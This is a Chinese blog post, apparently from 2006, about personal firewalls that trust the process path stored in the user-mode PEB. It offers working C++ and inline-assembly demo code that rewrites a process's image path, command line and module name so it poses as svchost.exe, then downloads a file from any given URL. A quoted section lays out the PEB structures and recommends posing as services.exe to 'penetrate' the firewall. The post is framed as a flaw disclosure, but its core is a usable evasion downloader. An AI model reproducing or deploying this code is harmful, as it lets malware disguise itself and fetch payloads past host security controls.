防火墙普遍存在的设计缺陷--关于进程路径的获取

开源反控极域工具技术解析:进程终结、网络干扰与权限恢复 在Windows系统管理与软件安全领域,进程控制、网络通信和API钩子是核心基础概念。进程管理涉及通过系统调用如TerminateProcess结束目标程序;网络通信控制则可通过防火墙规则或协议分析实现干扰;API钩子技术允许程序拦截系统调用,常用于功能限制。这些技术的工程价值在于实现精细化的系统行为管控与安全防护。在教育机房管理等场景中,课堂管理软件常综合运用这些技术实现屏幕广播、程序限制等功能。针对此类控制,技术社区出现了相应的对抗工具,其典型实现路径包括强制结束管理软件进程、干扰其网络通信端口或协议、 阅读详情
作者:RonCha

当程序访问网络时,一般情况下防火墙都会获取到程序的路径,并提示用户。
问题就出在获取程序路径的方法,一般的防火墙程序都是直接在ring3下获取这些信息,也就是说防火墙程序获取的这些信息,基本上是程序的PEB中存放的信息。如果我们修改了程序的PEB中相关的路径的信息的话,把程序修改伪装为系统进程的路径的话,防火墙就无法正确识别了。

DEMO代码如下,如需更完整的信息请与我联系:

 

// fuckdown.cpp : Defines the entry point for the console application.
//
//  [9/19/2006 RonCha]
#include "stdafx.h"
#include 
<urlmon.h>
#pragma comment(lib,"urlmon.lib")

char szpath[MAX_PATH]={0};
OLECHAR path[MAX_PATH]
={0};


void ChangPath();

int main(int argc, char* argv[])
{

    
//修改路径
    ChangPath();
    
if (argc==3)
    
{
         
if (argv[1]!="" && argv[2]!="")
         
{
            HRESULT hRet
=URLDownloadToFileA(NULL,argv[1],argv[2],NULL,NULL);
            
if(hRet==S_OK)
                printf(
" Down Success! ");
            
else
                printf(
" Can't down the file! ");
            
return 1;
         }

    }

    printf(
"Author:RonCha ");
    printf(
"Web:http://blog.youkuaiyun.com/RonCha ");
    printf(
"Usage:fuckdown.exe downurl savepath ");
    
return 0;
}


void ChangPath()
{
    
//将该进程伪装为svchost.exe
    int slen;
    slen
=GetSystemDirectory(szpath,MAX_PATH);
    slen
=GetSystemDirectory(szpath,slen);
    lstrcat(szpath,
"/svchost.exe");
    
//转化为Unicode字符
    MultiByteToWideChar(CP_ACP,NULL,szpath,-1,path,MAX_PATH);
    __asm
    
{            
            MOV EAX, fs:[30h]            
//get the PEB address
            MOV EAX, [EAX+0xC]             //_PEB_LDR_DATA
            MOV EAX, [EAX+0xC]             //InLoadOrderModuleList
            lea ebx,path
            mov WORD ptr[EAX
+0x24],0x60  //FullDllName->Length
            mov [EAX+0x28],ebx             //FullDllName->Buffer
            MOV EAX, fs:[30h]
            mov EAX,[EAX
+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 
            lea EAX,[EAX+0x3c]             //_RTL_USER_PROCESS_PARAMETERS ->ImagePathName->Buffer
            lea ebx,path
            mov [eax],ebx                 
//ImagePathName->Buffer
            mov WORD ptr[eax-4],0x60     //ImagePathName->Length
            MOV EAX, fs:[30h]
            mov EAX,[EAX
+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 
            lea eax,[EAX+0x44]             //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer
            lea ebx,path
            mov [eax],ebx                
//CommandLine-->Buffer
            mov WORD ptr[eax-4],0x60    //CommandLine-->Length
    }

}

 

 



 另从邪恶八进制获得:

 

PEB(Process Environment Block)——进程环境块,存放进程信息,每个进程都有自己的 PEB 信息。在 Win 2000 下,进程环境块的地址对于每个进程来说是固定的,在 0x7FFDF000 处,这是用户区内存,所以程序能够直接访问。准确的 PEB 地址应从系统的 EPROCESS 结构的 1b0H 偏移处获得,但由于 EPROCESS 在进程的核心内存区,所以程序不能直接访问。还可以通过 TEB 结构的偏移 30H 处获得 PEB 的位置,代码如下:
mov eax,fs:[18]
mov eax,[eax+30]
PEB 及其相关结构如下:
typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _RTL_DRIVE_LETTER_CURDIR {
USHORT Flags;
USHORT Length;
ULONG TimeStamp;
UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;

typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StdInputHandle;
HANDLE StdOutputHandle;
HANDLE StdErrorHandle;
UNICODE_STRING CurrentDirectoryPath;
HANDLE CurrentDirectoryHandle;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingPositionLeft;
ULONG StartingPositionTop;
ULONG Width;
ULONG Height;
ULONG CharWidth;
ULONG CharHeight;
ULONG ConsoleTextAttributes;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopName;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB_FREE_BLOCK {
struct _PEB_FREE_BLOCK *Next;
ULONG Size;
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;

typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PPEBLOCKROUTINE FastPebLockRoutine;
PPEBLOCKROUTINE FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID *KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PPEB_FREE_BLOCK FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID *ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID **ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, *PPEB;

PEB 结构中的 PPEB_LDR_DATA 是一个指向 PEB_LDR_DATA 的指针,PEB_LDR_DATA 结构中有 3 个 LIST_ENTRY 的指针,分别是 InLoadOrderModuleList; InMemoryOrderModuleList; InInitializationOrderModuleList,如此循环。可以通过这三个 LIST_ENTRY 结构来遍历进程加载的模块。LDR_MODULE 结构中的 FullDllName 成员便是一个包含模块名信息的 UNICODE_STRIN 结构,它的成员 Buffer 即是指向存放模块名的 UNICODE 字符串指针。还有要注意的是,RTL_USER_PROCESS_PARAMETERS 结构中的 ImagePathName.Buffer 和 LoaderData->InLoadOrderModuleList.Flink->FullDllName.Buffer 指向的其实是同一内存。

 


在 Windows 2000 下,枚举系统进程的方法无外乎通过 Tool Help 函数,或是 PSAPI 函数。这两类函数虽然接口不同,但最后还是通过调用 NTDLL.DLL 中导出的 NtQuerySystemInformation 函数来实现的。这些函数最终是通过 LDR_MODULE 中指向的那些模块信息来实现进程和模块名字查询的。所以,只要修改 LDR_MODULE 指向的那些信息就能实现改变进程名或模块名。注意那些字符串都是 unicode 形式的,改的时候别忘了。

 


这样改过之后虽然能够骗过 EnumProcessModules 和 Module32First、Module32Next 函数,但若使用 Process32Next、Process32First 函数,PROCESSENTRY32 结构中的 szExeFile 还是会如实的返回 EXE 文件名,如此一来,在“windows 任务管理器”里就穿邦了,即便你改了 BaseDllName 也没用。别急,当然还是有办法改的。不知诸位有没有注意到,用 Delphi 编译出来的可执行文件,如果你没改工程名的话,无论你怎么改可执行文件的文件名,在“windows 任务管理器”中总是显示“project1.exe”,具体什么原理我也不清楚。哪位有兴趣可以反汇编一下,看看具体是如何实现的,我的汇编功底太差了。

 


不过这样就够了,你可以做个试验,用以上方法改变一个有上网请求的进程的 ImagePathName,然后看看防火墙有什么反映。果然,被骗过去了。用这个方法就可以“穿透”防火墙了。

 


那具体应该改为哪个程序名呢?在 windows 2000 下,C:/WINNT/system32/services.exe 负责DNS解析等任务,总是被允许上网的,所以改成“C:/WINNT/system32/services.exe”就可以了。 

AI落地失败的四大错配与七道防火墙 人工智能在企业落地并非单纯的技术部署问题,而是涉及目标设定、数据质量、业务流程与组织能力的系统性工程。当AI模型能力与真实业务语义边界脱节、当训练数据无法反映实际场景、当自动化工具强行嵌入未重构的旧流程,就极易引发‘AI幻觉落地综合征’——表面跑通,实则失效。尤其在早期采用阶段,盲目追求MVP或高参数模型,却忽视人机协同设计、数据血缘验证与可解释性约束,将显著抬高项目失败风险。本文聚焦AI规模化应用前的关键避坑逻辑,结合目标错配、数据错配、流程错配、能力错配四大结构性陷阱,提出覆盖立项、数据、模型、协同、测 阅读详情

相关推荐

路径遍历漏洞深度解析:从原理到实战的任意文件读取攻防

路径遍历(Path Traversal)是一种常见的Web安全漏洞,其核心原理在于应用程序未对用户输入的文件路径参数进行充分校验和过滤,导致攻击者能够通过构造包含目录跳转序列(如../)的恶意输入,访问并读取服务器文件系统上的任意文件。该漏洞的技术价值在于其作为信息收集的关键入口,常能获取配置文件、日志等敏感数据,为后续渗透测试奠定基础。在应用场景上,它广泛存在于各类文件下载、读取或包含功能的接口中,尤其在企业级Web应用中危害显著。本文以CNVD-2021-34455漏洞为例,深入剖析了其利用方式与修复方

weixin_30301449的博客 341

通过 PEB 改变进程名,实现“穿透”防火墙

PEB(Process Environment Block)——进程环境块,存放进程信息,每个进程都有自己的 PEB 信息。在 Win 2000 下,进程环境块的地址对于每个进程来说是固定的,在 0x7FFDF000 处,这是用户区内存,所以程序能够直接访问。准确的 PEB 地址应从系统的 EPROCESS 结构的 1b0H 偏移处获得,但由于 EPROCESS 在进程的核心内存区,所以程序不能直

2205

Linux权限维持与隐藏技术:从文件进程到Rootkit的攻防实战

在Linux系统安全领域,权限维持与隐藏技术是攻防对抗的核心议题。其基本原理在于利用操作系统自身的机制和特性,通过修改文件属性、进程信息、网络连接状态以及系统启动项,实现后门程序的持久化驻留与隐蔽运行。从技术价值看,深入理解这些手法不仅有助于攻击方构建稳固的访问通道,更是防御方进行威胁狩猎、入侵检测和应急响应的必备知识。在实际应用场景中,无论是红队评估、渗透测试还是系统安全加固,掌握文件隐藏(如利用chattr属性、mount绑定)、进程伪装、自启动项劫持(如systemd服务、cron计划任务)以及Roo

cuyi7076的博客 758

枚举windows进程模块的几种方法—PEB内核结构详解

1. 引言 在诸多的场景中(例如软件测试,软件安全研究等领域)经常需要分析在目标进程中具体加载了哪些模块(DLL),以及所加载的模块的信息(如模块基地址,映射文件大小等)。获取这windows进程加载的模块信息,曾经有一个行之有效又很便捷的方法,使用windows提供PSAPI(psapi.dll,windows进程状态信息接口)提供的相关的接口就可以快捷的获取进程及进程加载的模块信息。有关PSAPI接口可以参考psapi.h或者微软的官方文档Psapi.h heade...

阔野的专栏 5739

API安全漏洞挖掘实战:从接口审计到CNVD证书获取指南

API(应用程序编程接口)作为现代软件架构中数据交互的核心通道,其安全性直接关系到整个系统的防护水平。由于API遵循标准化设计模式,攻击者可以高效地进行自动化测试,而传统防护手段往往难以覆盖其特有的攻击面,如未授权访问、越权操作和业务逻辑缺陷。这些漏洞不仅可能导致敏感数据泄露和系统被控,更可能满足国家信息安全漏洞共享平台(CNVD)对中高危原创漏洞的收录标准,成为安全研究人员能力证明的“硬通货”。本文聚焦于通过系统化的信息收集、深度接口测试与严谨的漏洞验证流程,将看似普通的API接口转化为符合CNVD提交要

weixin_28716443的博客 334

PEBFake:PEBFake(修改PEB 伪装当前进程路径、参数等)

Fake process imagepath and name BTW 当然你可以去修改其他进程的PEB信息,参考: 测试效果

进程结构体和线程结构体

首先说明这分析的是XP系统,WIN7每个单元偏移略有差距 进程结构体EPROCESS 每个windows进程在0环都有一个对应的结构体:EPROCESS 这个结构体包含了进程所有重要的信息。 PEB在3环,EPROCESS在0环。 KPROCESS主要成员介绍 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23...

kernweak的博客 1397

pb实现进程管理-实现进程列表并可指定Kill进程

PB9实现进管理-进程列表、结束进程,可查看所选进程包含的线程和模块

驱动开发:内核遍历进程VAD结构体

树的每一个节点代表一段虚拟地址空间。程序中的代码段,数据段,堆段都会各种占用一个或多个。结构体,需要说明的是栈并不受VAD的管理。同样这是微软定义,如果想要的到最新的,自己下载WinDBG调试内核输入命令。内存块的属性,这个内存结构定义在WinDBG中可看到。结构的偏移值,每个系统都不一样,版本不同偏移值会不同。当需要得到该进程的VAD结构时,只需要使用。结构中可以找到VAD结构的相对偏移。可以看到在本系统中VAD的偏移是。头文件,并写入如下代码,此处的。来显示该进程的VAD树。结构树,这个结构通常在。

微软技术分享 2万+

RK3588零拷贝视频流水线实战:用GStreamer+Mpp实现8K硬解与DRM显示

本文深入探讨了在RK3588平台上构建零拷贝视频流水线的工程实践。通过结合GStreamer与MPP,实现了从8K视频硬解到DRM显示的全流程硬件加速,有效解决了高分辨率视频处理中的DDR带宽瓶颈问题。文章详细解析了dma-buf数据流机制、管道构建与性能优化策略,为多路视频并发处理提供了高效的系统架构解决方案。

github5actions的博客 1169

使用LaTex写IEEE trans 论文的参考文献(bib)

(1)在.TeX文件的最下方添加这几行内容,主要为生成tran形式的参考文献,第二行为参考文献名称,我命名为reference.bib,所以写的是reference,要根据自己的命名改写。(5)如果要在文中引用的话,就在.tex文件中添加\cite{},中括号里面内容为方框圈出来部分,但引用之后,在参考文献后面会出现[1]这样的标识,不知道为什么。(4)完成(3)以后,点击工具-命令-LaTeX,编译,然后按照此步骤LaTeX-bibtex-LaTeX-LaTeX,就可以完成参考文献的导入。

qq_45884215的博客 6259

进程路径

转:https://www.pediy.com/kssd/pediy12/129136.html 有问题找看雪 进程完整路径获取方式详解 标 题:进程完整路径获取方式详解 作 者:zyhfut 时 间:2011-02-10 20:23:50  链 接:http://bbs.pediy.com/showthread.php?t=129136 标 题: 【原创】进程完整路径获取方式详解 作 者...

huanongying131的博客 1008

CarMaker快速入门

本合集是小明师兄推出的CarMaker汽车仿真,CarMaker无论是传统动力学、动力系统开发、底盘系统开发还是目前智能驾驶辅助系统及智能驾驶系统开发有着非常重要的作用,可以有效节省开发周期和开发成本,基于仿真快速实现算法开发和系统验证。...

小明师兄的博客 1万+

关于进程路径的获取---防火墙普遍存在的设计缺陷

防火墙普遍存在的设计缺陷--关于进程路径的获取     当程序访问网络时,一般情况下防火墙都会获取到程序的路径,并提示用户。问题就出在获取程序路径的方法,一般的防火墙程序都是直接在ring3下获取这些信息,也就是说防火墙程序获取的这些信息,基本上是程序的PEB中存放的信息。如果我们修改了程序的PEB中相关的路径的信息的话,把程序修改伪装为系统进程的路径的话,防火墙就无法正确识别了。DEMO

653

pytorch转onnx转paddlepaddle

1.pt转onnx 可查看我之前的文章:https://blog.youkuaiyun.com/oyjwin/article/details/117778583?spm=1001.2014.3001.5501

oyjwin的博客 1462

从零开始:如何在Windows上搭建Airsim仿真环境(避坑指南)

本文是一份详细的Windows平台AirSim仿真环境搭建指南。文章从硬件要求、Visual Studio与虚幻引擎安装开始,逐步讲解AirSim插件编译、UE项目配置,并重点介绍了通过WSL2连接PX4飞控软件实现软件在环仿真的完整流程。内容涵盖常见问题排查与性能优化,旨在帮助开发者避开常见陷阱,高效构建可用于无人机算法开发的虚拟测试平台。

earth的博客 307

从JiraWhitelist逻辑缺陷看企业内网安全:CVE-2019-8451 SSRF漏洞的深度防御思考

本文深入分析了CVE-2019-8451 SSRF漏洞在企业内网安全中的严重威胁,揭示了JiraWhitelist逻辑缺陷如何被利用绕过安全防护。通过剖析漏洞原理、常见防护误区及纵深防御策略,为企业提供了从应用层加固到架构安全的全面解决方案,强调将SSRF检测融入DevSecOps流程的重要性。

weixin_30555515的博客 384

AC360变频器使用案例

AC360变频器使用案例!

QING_BOSS的博客 518

企业级防火墙安全配置避坑:从启明星辰天清汉马USG漏洞看权限管理

本文以启明星辰天清汉马USG防火墙的逻辑漏洞为例,深入剖析企业级防火墙权限管理的常见陷阱。该漏洞暴露了权限分离机制失效的风险,允许低权限用户越权提升至管理员。文章重点探讨了权限配置误区,并提供了构建严格角色分离模型、强化认证与持续审计等最佳实践,旨在帮助企业筑牢防火墙管理面的安全防线。

plum99的博客 592

8.9华为OD机试真题 新系统 - 灯带颜色变换 (Java/Py/C/C++/Js/Go)

8.9华为OD机试真题 新系统 - 灯带颜色变换 (Java/Py/C/C++/Js/Go)

算法大师! 672

NVIDIA A100驱动及CUDA安装指南

NVIDIA A100驱动及CUDA安装指南:详细介绍了在Ubuntu系统下安装A100显卡驱动和CUDA工具包的完整流程,包括环境准备、驱动安装、CUDA配置及性能优化建议。特别推荐猿界算力平台提供开箱即用的A100算力租赁服务,具备专业团队支持、灵活租期和实惠价格等优势。文末通过PyTorch测试验证了A100设备的可用性,展示了80GB显存的强大计算能力。

2401_89353317的博客 1511

从‘lc‘键漏洞看AI框架的信任边界设计:LangChain安全事件启示录

本文深入分析了LangChain框架的CVE-2025-68664安全漏洞,揭示了AI框架在信任边界设计上的缺陷。通过技术解构和与传统漏洞的对比,提出了动态信任评估模型和安全编码规范,为企业提供了从紧急处置到长期治理的全方位防护方案。文章强调将安全作为AI框架设计的核心约束,以避免类似'lc'键漏洞事件的重演。

desk3的博客 707

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

上一篇: 特洛伊执行体重定向
下一篇: 小议文件保护和锁定技术
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值